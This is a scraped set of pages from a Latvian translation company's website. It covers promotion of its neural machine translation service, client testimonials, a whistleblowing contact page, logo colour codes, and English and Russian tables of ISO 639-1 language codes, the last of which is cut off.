terminoloģijas specifikā, valodas izteiksmes līdzekļu lietojumā. KĀ DARBOJAS MAŠĪNTULKOŠANA? Neironu mašīntulkošanas tehnoloģija jeb NMT ir pavisam jauns risinājums valodu tehnoloģiju attīstībā. Neironu mašīntulkošanā tiek izmantoti mākslīgo neironu tīklu algoritmi, kas līdzīgi cilvēka smadzenēm spēj analizēt tekstu visos valodas līmeņos –, fonētiskajā, leksiskajā, morfoloģiskajā un sintaktiskajā, piemēram, precīzi nosaka teksta teikumu robežas vai atbilstīgu lielo un mazo burtu lietojumu. Šādas neironu mašīntulkošanas tehnoloģijas kļūst arvien populārākas visā pasaulē, jo tās nodrošina lielāku tulkošanas efektivitāti un labāku kvalitāti salīdzinājumā ar iepriekšējām mašīntulkošanas tehnoloģijām. SKRIVANEK NMT PRIEKŠROCĪBAS: tiek būtiski taupīts laiks – tulkošanas projekta īstenošana ir iespējama tajā pašā dienā. Piemēram, lai dienā iztulkotu 50 lappuses, ir nepieciešami 3–5 tulkotāji; ar Skrivanek NMT tulkojums ir paveicams divās stundās; piedāvājam veikt dažu lappušu testa automatizēto mašīntulkojumu bez pēcrediģēšanas bez maksas; informācijas drošība un konfidencialitāte – Skrivanek serveri atrodas drošā vietā, kam piekļuve ir tikai īpaši pilnvarotam personālam; pārbaudīta datu apmaiņa starp serveriem; zemāka cena salīdzinājumā ar tradicionālo tulkošanu; iespēja savietot mašīntulkošanu ar datorizētajiem tulkošanas rīkiem – CAT; tiek saglabāts teksta formatējums (burtraksts, tabulas, krāsas, satura rādītājs); iespēja veidot uzņēmumam pielāgotu NMT risinājumu, ņemot vērā nozari un specializāciju; pieejami pēcrediģēšanas pakalpojumi. NEIRONU MAŠĪNTULKOŠANAS TRŪKUMI: neironu mašīntulkošanas risinājumu nav ieteicams lietot mārketinga, reklāmas vai radošo tekstu tulkojumiem; ne visas datnes ir tulkojamas; Skrivanek NMT risinājumu piedāvājam tikai tām valodu kombinācijām, kuru kvalitāte, mūsuprāt, ir pietiekami augsta. Vairāk par Skrivanek NMT jautājiet mūsu speciālistiem; mašīntulkojums var nebūt plūstošs, viegli lasāms un uztverams; var būt nepieciešams papildu laiks, lai dates sagatavotu mašīntulkošanai. BIEŽĀK UZDOTIE JAUTĀJUMI Skrivanek NMT tulko 1200 vārdu jeb aptuveni piecas lappuses sekundē. Ir jāņem vērā projekta sagatavošanai un īstenošanai nepieciešamais laiks. Ātrākais un ērtākais veids ir sazināties ar Skrivanek speciālistiem, kuri labprāt paskaidros, vai neironu mašīntulkošanas tehnoloģija ir piemērots risinājums jūsu tulkošanas projektam. Novērtēs, vai automatizēts mašīntulkojums bez pēcrediģēšanas varētu būt optimāls risinājums, vai pretēji aicinās izvēlēties mašīntulkošanu ar pilnu pēcrediģēšanu un pārbaudi. Ir daži standarta jautājumi, kas palīdz izvēlēties pareizo pakalpojumu: kas ir tulkojuma adresāts – lasītājs? vai tulkojums ir paredzēts publicēšanai, drukai? vai teksta saturs jāsaprot tikai vispārīgi? cik ļoti tulkojamais materiāls ir nozarei specifisks? Vienmēr ir svarīgi saprast, ko var paveikt neironu mašīntulkošanas tehnoloģijas un kas tām vēl nav pa spēkam. Ja ir nepieciešama izpratne par teksta satura būtību, mašīntulkošana ir pilnīgi pieņemama izvēle. Mašīntulkojums ar pilnu pēcrediģēšanu ir līdzvērtīgs cilvēka veiktam tulkojumam. Skrivanek NMT piedāvājam šādās valodu kombinācijās: poļu–angļu, angļu–poļu; vācu–angļu, angļu–vācu; franču–angļu, angļu–franču; angļu–somu, angļu–čehu, poļu–krievu; un citas. Mašīntulkošana (MT) un datorizētie tulkošanas rīki (CAT) ir divi dažādi tulkošanas risinājumi: mašīntulkojumu rada dators; datorizētie tulkošanas rīki atvieglo tulkotājiem darbu, tulkojamajā materiālā priekšatlasot iepriekš iztulkotus un apstiprinātus segmentus. Gala cena būs atkarīga no izpildes laika, datņu formāta, tulkojamā teksta apjoma, jomas un papildu pakalpojumiem, tādēļ katrs pasūtījums tiek izvērtēts individuāli. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  NEPIECIEŠAMS MAŠĪNTULKOJUMS? MEKLĒJIET VALODU RISINĀJUMU VAI NEPIECIEŠAMA KONSULTĀCIJA? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai par mašīntulkošanas pakalpojumiem jau tūlīt! KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > SIA “Skrivanek Baltic” kontaktpersona trauksmes celšanas jautājumos ir Administratīvās nodaļas vadītāja Jeļena Lapoška. E-pasts: trauksme@skrivanek.lv. - Published: 2020-03-05 - Modified: 2024-01-23 - URL: https://skrivanek.lv/trauksmes-celsana/ - Translation Priorities: Optional SIA “Skrivanek Baltic” kontaktpersona trauksmes celšanas jautājumos ir Administratīvās nodaļas vadītāja Jeļena Lapoška. Tālr. : +371 67240364 E-pasta adrese: trauksme@skrivanek. lv (ieteicamākais trauksmes ziņojuma iesniegšanas veids) Trauksmes celšanas gadījumā konfidencialitāte tiek nodrošināta. Atbilde uz saņemto ziņojumu tiks sagatavota ne vēlāk kā divu nedēļu laikā pēc ziņojuma saņemšanas. Apliecinājums par ziņojuma saņemšanu tiks sniegts 3 darbdienu laikā. Par trauksmes ziņojumu nav uzskatāms anonīms iesniegums rakstos (piemēram, e-pasts) vai mutvārdos. Ja SIA “Skrivanek Baltic” konstatēs, ka jautājuma izskatīšana nav tās kompetencē, ziņojums tiks pārsūtīts kompetentajai institūcijai. TRAUKSMES CĒLĀJS IR TIESĪGS CELT TRAUKSMI PAR ŠĀDIEM PĀRKĀPUMIEM: korupciju un krāpšanu; ētikas vai profesionālo normu pārkāpumiem; amatpersonu bezdarbību, nolaidību vai dienesta stāvokļa ļaunprātīgu izmantošanu; pārkāpumiem publisko iepirkumu jomā; publiskas personas finanšu līdzekļu vai mantas izšķērdēšanu; sabiedrības veselības apdraudējumu; vides drošības apdraudējumu; darba drošības apdraudējumu; cilvēktiesību pārkāpumiem; konkurences tiesību pārkāpumiem un citiem Trauksmes celšanas likumā minētajiem gadījumiem. KAS NAV UZSKATĀMA PAR TRAUKSMES CELŠANU? Apzināti nepatiesu ziņu sniegšana, valsts noslēpumu saturošas informācijas izpaušana un ziņošana tikai par personīgu interešu aizskārumu. Ja persona ir iesniegusi iesniegumu, nenorādot, ka tas ir trauksmes cēlēja ziņojums, tad, kamēr iesniegums vēl nav izskatīts pēc būtības, persona var lūgt šo iesniegumu atzīt par trauksmes cēlēja ziņojumu. TRAUKSMES CELŠANAI VAR TIKT IZMANTOTS VIENS NO ŠĀDIEM MEHĀNISMIEM: iekšējā trauksmes celšanas sistēma; vēršanās kompetentajā institūcijā; trauksmes cēlēju kontaktpunkta vai biedrības vai nodibinājuma, tostarp arodbiedrības vai to apvienības, starpniecība. Iekšējā trauksmes celšanas procedūra sagatavota, pamatojoties uz Trauksmes celšanas likumu. Trauksmes celšanas likuma mērķis ir veicināt, lai sabiedrības interesēs tiek celta trauksme par pārkāpumiem, un nodrošināt trauksmes celšanas mehānismu izveidi un darbību, kā arī trauksmes cēlēju pienācīgu aizsardzību. --- > Lejupielādējiet valodu uznēmuma Skrivanek un bērņu nometņu logotipus PNG vai JPG formātā. Sazinieties ar mums, ja rodas jautājumi! - Published: 2019-11-21 - Modified: 2021-08-26 - URL: https://skrivanek.lv/logotipi/ - Translation Priorities: Optional Zila CMYK 100/50/0/0 RGB 0/92/162 Pantone 293 ORACAL serie 8500 - 051 ORACAL 98M Melna CMYK 0/0/0/100 RGB 34/30/31 Pantone Process Black ORACAL serie 8500 - 070 ORACAL 70M Sarkana CMYK 0/100/100/0 RGB 237/27/35 Pantone 179 ORACAL serie 8500 - 031 ORACAL 31M Dzeltena CMYK 0/15/100/0 RGB 255/212/0 Pantone 116 ORACAL serie 8500 - 013 ORACAL 21M Zaļa CMYK 80/0/100/0 RGB 10/177/75 Pantone 361 ORACAL serie 8500 - 087 ORACAL 64M --- > ISO 639-1 language codes represent names of the major world languages. The codes are assigned by the Infoterm. - Published: 2019-10-21 - Modified: 2024-01-03 - URL: https://skrivanek.lv/valodu-kodi/ - Translation Priorities: Optional ISO 639-1 language codes represent names of the major world languages. They are language identifiers that were developed for the needs of terminology, linguistics, translation and documentation, as well as lexicography and information. The codes are assigned by the Infoterm (the International Information Centre for Terminology), based in Vienna, Austria. COUNTRY CODE (ACCORDING TO ISO 639-1) NAME OF THE LANGUAGE IN ENGLISH COUNTRIES AND TERRITORIES WHERE THE LANGUAGE IS USED AA Afar The Republic of Djibouti, Eritrea, the Federal Democratic Republic of Ethiopia AB Abkhaz Abkhazia (Georgia) AE Avestan The Islamic Republic of Iran AF Afrikaans The Republic of South Africa, the Republic of Namibia AK Akan The Republic of Ghana, the eastern part of the Ivory Coast AM Amharic The Federal Democratic Republic of Ethiopia AN Aragonese Aragon (the Kingdom of Spain) AR Arabic The People’s Democratic Republic of Algeria, the United Arab Emirates, the Kingdom of Bahrain, the Republic of Yemen, the Hashemite Kingdom of Jordan, Qatar, Kuwait, Socialist People’s Libyan Arab Jamahiriya, the Kingdom of Morocco, the Sultanate of Oman, the Western Sahara, the Kingdom of Saudi Arabia, the Republic of the Sudan, the Republic of Tunisia AS Assamese Assam (the Republic of India) AV Avaric North-western part of Azerbaijan (the Republic of Azerbaijan), the Republic of Dagestan (the Russian Federation) AY Aymara The Aymara Indian tribal language – western part of the Republic of Bolivia, northern part of the Republic of Chile, southern part of the Republic of Peru AZ Azerbaijani The Republic of Azerbaijan, north-western part of the Islamic Republic of Iran BA Bashkir The Republic of Bashkortostan (the Russian Federation) BE Belarusian The Republic of Belarus BG Bulgarian The Republic of Bulgaria BH Bihari Bihar (the Republic of India) BI Bislama The Republic of Vanuatu BM Bambara Burkina Faso, Côte d'Ivoire, the Republic of Senegal BN Bengali Assam and West Bengal (the Republic of India), People’s Republic of Bangladesh BO Tibetan Tibet (the People's Republic of China) BR Bretoņ Brittany (the Republic of France) BS Bosnian The Republic of Bosnia and Herzegovina, the Republic of Montenegro, the Republic of Serbia CA Catalan The Principality of Andorra, Catalonia (the Kingdom of Spain) CE Chechen The Chechen Republic (the Russian Federation) CH Chamorro The United States territory of Guam, the Northern Mariana Islands CO Corsican Corsica (the Republic of France), north Sardinia (the Republic of Italy) CR Cree Canadian Aboriginal language CS Czech The Czech Republic CU Old Church Slavonic The first literary Slavic language (the text of the Bible and other ancient writings) CV Chuvash The Chuvash Republic and its neighbouring countries (the Russian Federation) CY Welsh Wales (the United Kingdom of Great Britain and Northern Ireland) DA Danish The Kingdom of Denmark DE German The Republic of Austria, the Kingdom of Belgium, the Principality of Liechtenstein, the Grand Duchy of Luxembourg, the Swiss Confederation, the Federal Republic of Germany DV Maldivian The Republic of Maldives DZ Dzongkha The Kingdom of Bhutan EE Ewe The Republic of Benin, the Republic of Ghana, the Republic of Togo EL Greek The Hellenic Republic (Greece), the Republic of Cyprus EN English The United States of America, the Commonwealth of Australia, the Republic of South Africa, Canada, the United Kingdom of Great Britain and Northern Ireland, etc. EO Esperanto An artificial international language of communication ES Spanish The Kingdom of Spain, several South American countries ET Estonian The Republic of Estonia EU Basque South-western part of the Republic of France, central part of the Kingdom of Spain FA Persian The Islamic State of Afghanistan, the Islamic Republic of Iran, the Republic of Tajikistan FF Fula The Republic of Gambia, the Republic of Guinea, the Republic of Cameroon, the Republic of Senegal, the Republic of Sudan FI Finnish The Republic of Finland FJ Fijian The Republic of Fiji FO Faroese Faroe Islands (the Kingdom of Denmark) FR French The Kingdom of Belgium, the Republic of France, Canada, the Grand Duchy of Luxembourg, several countries in Africa FY Western Frisian Northern part of the Kingdom of the Netherlands GA Irish Ireland, the United Kingdom of Great Britain and Northern Ireland GD Gaelic Scotland (the United Kingdom of Great Britain and Northern Ireland) GL Galician Galicia (the Kingdom of Spain), the Portuguese Republic GN Guaraní The Republic of Paraguay GU Gujarati Gujarati and other union territories of India (the Republic of India) GV Manx Isle of Man (the United Kingdom of Great Britain and Northern Ireland) HA Hausa The Republic of Niger, northern part of the Federal Republic of Nigeria HE Hebrew Israel HI Hindi Central and northern parts of the Republic of India HO Hiri Motu The Independent State of Papua New Guinea HR Croatian The Republic of Bosnia and Herzegovina, the Republic of Croatia, the Republic of Montenegro HT Haitian The Republic of Haiti HU Hungarian The Republic of Hungary HY Armenian The Republic of Armenia HZ Herero The Republic of Botswana, the Republic of Namibia IA Interlingua International auxiliary language developed between 1937 and 1951 by the International Auxiliary Language Association IN Indonesian The Republic of Indonesia IE Interlingue Artificial language created by Edgar de Wahl in 1922 IG Igbo The Federal Republic of Nigeria II Sichuanese Sichuan (the People’s Republic of China) IK Inupiaq Northern and north-western parts of Alaska (the United States of America) IO Ido Artificial language created in 1907 IS Icelandic The Republic of Iceland IT Italian The Republic of Italy, the Republic of San Marino, Swiss Confederation, the Vatican City State IU Inuktitut North Canada JA Japanese Japan JV Javanese Island of Java (the Republic of Indonesia) KA Georgian Georgia KG Kongo The Republic of Angola, the Democratic Republic of Congo, the Republic of Congo KI Kikuyu The Republic of Kenya KJ Kwanyama The Republic of Angola, the Republic of Namibia KK Kazakh The Republic of Kazakhstan, the Republic of Kyrgyzstan, the Russian Federation, Ukraine, the Republic of Uzbekistan KL Greenlandic Greenland (the Kingdom of Denmark) KM Khmer The Kingdom of Cambodia, the Socialist Republic of Vietnam KN Kannada Karnataka (the Republic of India) KO Korean The Republic of Korea, the Democratic People’s Republic of Korea KR Kanuri The Republic of Chad, the Republic of Cameroon, the Republic of Niger, the Federal Republic of Nigeria KS Kashmiri Jammu and Kashmir (the Republic of India), the Islamic Republic of Pakistan KU Kurdish Northern part of the Republic of Iraq, north-western part of the Islamic Republic of Iran, south-eastern part of the Republic of Turkey KV Komi The Komi Republic (Russian Federation) KW Cornish Cornwall (the United Kingdom of Great Britain and Northern Ireland) KY Kyrgyz The Republic of Kyrgyzstan LA Latin The Vatican City State, the official language of the Roman Catholic Church. Latin is currently used in biology, medicine and other fields as an internationally recognised scientific terminology language LB Luxembourgish The Grand Duchy of Luxembourg LG Ganda Southeast Uganda (the Republic of Uganda) LI Limburgish The Kingdom of Belgium, the Dutch border (the Kingdom of the Netherlands), the Federal Republic of Germany LN Lingala The Democratic Republic of Congo, the Republic of Congo LO Lao Lao People’s Democratic Republic, the Kingdom of Thailand LT Lithuanian The Republic of Lithuania LU Luba-Katanga The Democratic Republic of Congo LV Latvian The Republic of Latvia MG Malagasy The Republic of Madagascar MH Marshallese The Republic of Marshall Islands, the Republic of Nauru MI Māori New Zealand MK Macedonian The Republic of Macedonia ML Malayalam Kerala (the Republic of India) MN Mongolian Mongolia MO Moldavian The Republic of Moldova MR Marathi Maharashtra (the Republic of India) MS Malay East Timor, Brunei Darussalam, the Republic of Indonesia, the Federation of Malaysia, the Republic of Singapore MT Maltese The Republic of Malta MY Burmese The Union of Myanmar NA Nauru The Republic of Nauru NB Norwegian Bokmål One of the two written forms of the Norwegian language in the Kingdom of Norway. It is based on Danish vocabulary and grammar, and Norwegian phonetics. ND North Ndebele The Republic of Zimbabwe NE Nepali The Kingdom of Bhutan, the Republic of India, the Union of Myanmar, the Kingdom of Nepal NG Ndonga South Angola (the Republic of Angola), the Republic of Namibia NL Dutch The Kingdom of Belgium, the Kingdom of the Netherlands NN Norwegian Nynorsk One of the two written forms of the Norwegian language in the Kingdom of Norway developed in the 1850s by the linguist Ivar Aasen by synthesising the Norwegian dialects. NO Norwegian The Kingdom of Norway NR South Ndebele The Republic of South Africa NV Navajo Language of the Navajo Indian tribe (the United States of America) NY Chichewa The Republic of Malawi, central and southern parts of the African continent OC Occitan Southern part of the Republic of France OJ Ojibwe The United States of America, Canada OM Oromo The Federal Democratic Republic of Ethiopia, the Republic of Kenya OR Oriya Orissa (the Republic of India) OS Ossetian Georgia, the Russian Federation PA Panjabi The Republic of India, the Islamic Republic of Pakistan PI Pāli Literary and liturgical language of the Republic of India PL Polish The Republic of Poland PS Pashto The Islamic State of Afghanistan, north-western part of the Islamic Republic of Pakistan PT Portuguese The Republic of Angola, East Timor, the Federative Republic of Brazil, the Republic of Equatorial Guinea, the Republic of Mozambique, the Republic of Portugal, etc. QU Quechua The Republic of Argentina, the Republic of Bolivia, the Republic of Chile, the Republic of Ecuador, the Republic of Colombia, the Republic of Peru RM Romansh The Swiss Confederation RN Kirundi The Republic of Burundi, the Democratic Republic of Congo, the United Republic of Tanzania RO Romanian The Republic of Moldova, Romania RU Russian The Russian Federation RW Kinyarwanda The Republic of Rwanda SA Sanskrit One of the liturgical languages of Buddhism and Hinduism in the Republic of India SC Sardinian Sardinia (the Republic of Italy) SD Sindhi The Republic of India, the Islamic Republic of Pakistan SE Northern Sami Northern part of the Kingdom of Norway, the Republic of Karelia (the Russian Federation), the Republic of Finland, the Kingdom of Sweden SG Sango The Central African Republic SI Sinhala The Democratic Socialist Republic of Sri Lanka SK Slovak The Slovak Republic SL Slovenian The Republic of Slovenia SM Samoan The Independent State of Samoa SN Shona Southern part of the Republic of Zambia, the Republic of Zimbabwe SO Somali The Republic of Djibouti, the Federative Democratic Republic of Ethiopia, the Republic of Yemen, the Republic of Kenya, the Somali Republic SQ Albanian The Republic of Albania, the Republic of Kosovo SR Serbian The Republic of Bosnia and Herzegovina, the Republic of Croatia, the Republic of Montenegro, the Republic of Serbia SS Swati The Republic of South Africa, the Kingdom of Swaziland ST Southern Sotho The Republic of South Africa, the Kingdom of Lesotho SU Sundanese Island of Java (the Republic of Indonesia) SV Swedish The Republic of Finland, the Kingdom of Sweden SW Swahili The Republic of Kenya, the United Republic of Tanzania, the Republic of Uganda TA Tamil The Republic of India, the Republic of Singapore, the Democratic Socialist Republic of Sri Lanka TE Telugu The Republic of India TG Tajik The Islamic State of Afghanistan, the Islamic Republic of Iran, the Republic of Tajikistan TH Thai The Kingdom of Cambodia, North Federation of Malaysia, the Union of Myanmar, the Kingdom of Lesotho, the Kingdom of Thailand TI Tigrinya Eritrea, the Federative Democratic Republic of Ethiopia TK Turkmen The Islamic State of Afghanistan, the Republic of Iraq, the Islamic Republic of Iran, the Republic of Turkey, Turkmenistan TL Tagalog The Republic of the Philippines TN Tswana The Republic of Botswana, the Republic of South Africa TO Tonga The Kingdom of Tonga TR Turkish The Republic of Cyprus, the Republic of Turkey TS Tsonga The Republic of South Africa, the Republic of Mozambique, the Kingdom of Swaziland, the Republic of Zimbabwe TT Tatar The Republic of Kazakhstan, the Republic of Kyrgyzstan, Ukraine, the Republic of Uzbekistan, the Republic of Tatarstan (the Russian Federation) TW Twi The Republic of Ghana TY Tahitian French Polynesia UG Uighur The Republic of Kazakhstan, the Republic of Kyrgyzstan, the Republic of Tajikistan, Turkmenistan, the Republic of Uzbekistan UK Ukrainian Ukraine UR Urdu The Republic of India, the Islamic Republic of Pakistan UZ Uzbek The Republic of Uzbekistan VE Venda The Republic of South Africa, the Republic of Zimbabwe VI Vietnamese The Socialist Republic of Vietnam VO Volapük Artificial language developed between 1879 and 1880 by a German priest Johann Martin Schleyer WO Wolof The Republic of Gambia, the Islamic Republic of Mauritania, the Republic of Senegal XH Xhosa The Republic of South Africa YI Yiddish A Hebrew language spoken by the Jewish diaspora in many parts of the world, for example, the United States of America, the United Kingdom of Great Britain and Northern Ireland, the Russian Federation, the Kingdom of Sweden, etc. YO Yoruba The Republic of Benin, the Federative Republic of Nigeria, the Republic of Togo ZA Zhuang The People’s Republic of China ZH Chinese The People’s Republic of China ZU Zulu The Republic of South Africa, the Republic of Malawi, the Republic of Mozambique, the Kingdom of Swaziland, the Republic of Zimbabwe OUR MOST POPULAR LANGUAGE SERVICES AMONGST CUSTOMERS: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing; etc. IN NEED OF A TRANSLATION? LOOKING FOR A LANGUAGE SOLUTION OR A CONSULTATION? Send inquiry MOST POPULAR TRANSLATION FIELDS Insurance Construction HR Finances and Banking IT and Gaming Agriculture Law Forestry Engineering and Railway Medical and Clinical Trial Manufacturing Advertising and Marketing Trade Tourism Government and Municipal Institutions RELIABILITY, SPEED AND QUALITY OF SERVICES KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > Коды языков ISO 639-1 обозначают названия крупнейших языков мира. Узнайте больше! 👆️ - Published: 2019-10-21 - Modified: 2023-01-24 - URL: https://skrivanek.lv/valodu-kodi/ - Translation Priorities: Optional Коды языков ISO 639-1 обозначают названия крупнейших языков мира. Это идентификаторы языков, которые разработаны для нужд терминологии, лингвистики, перевода и документации, лексикографии и информации. Коды присваивает Infoterm, или Международный информационный центр терминологии (The International Information Centre for Terminology), расположенный в Вене, Австрия. КОД ЯЗЫКА (ПО ISO 639-1) НАЗВАНИЕ ЯЗЫКА ПО-РУССКИ ГОСУДАРСТВА И ТЕРРИТОРИИ, НА КОТОРЫХ УПОТРЕБЛЯЕТСЯ ЯЗЫК AA Афарский язык Республика Джибути, Эритрея, Федеративная Демократическая Республика Эфиопия AB Абхазский язык Абхазия (Грузия) AE Авестийский язык Исламская Республика Иран AF Африкаанс Южноафриканская Республика, Республика Намибия AK Акан Республика Гана, восток Республики Кот-д’Ивуар AM Амхарский язык Федеративная Демократическая Республика Эфиопия AN Арагонский язык Арагон (Королевство Испания) AR Арабский язык Алжирская Народная Демократическая Республика, Объединенные Арабские Эмираты, Королевство Бахрейн, Йеменская Республика, Иорданское Хашимитское Королевство, Катар, Кувейт, Ливийская Социалистическая Арабская Народная Джамахирия, Королевство Марокко, Султанат Оман, Западная Сахара, Королевство Саудовская Аравия, Республика Судан, Тунисская Республика AS Ассамский язык Ассам (Республика Индия) AV Аварский язык Северо-запад Азербайджана (Республика Азербайджан), Республика Дагестан (Российская Федерация) AY Аймара Язык индейского племени аймара – запад Республики Боливия, север Республики Чили, юг Республики Перу AZ Азербайджанский язык Республика Азербайджан, северо-запад Исламской Республики Иран BA Башкирский язык Республика Башкортостан (Российская Федерация) BE Белорусский язык Республика Беларусь BG Болгарский язык Республика Болгария BH Бихарский язык Бихар (Республика Индия) BI Бислама Республика Вануату BM Бамбара Буркина-Фасо, республика Кот-д’Ивуар, Республика Сенегал BN Бенгальский язык Ассам и запад Бенгалии (Республика Индия), Народная Республика Бангладеш BO Тибетский язык Тибет (Китайская Народная Республика) BR Бретонский язык Бретань (Французская Республика) BS Боснийский язык Республика Босния и Герцеговина, Республика Черногория, Республика Сербия CA Каталонский язык Княжество Андорра, Каталония (королевство Испания) CE Чеченский язык Республика Чечня (Российская Федерация) CH Чаморро Территория Гуам (Соединенные Штаты 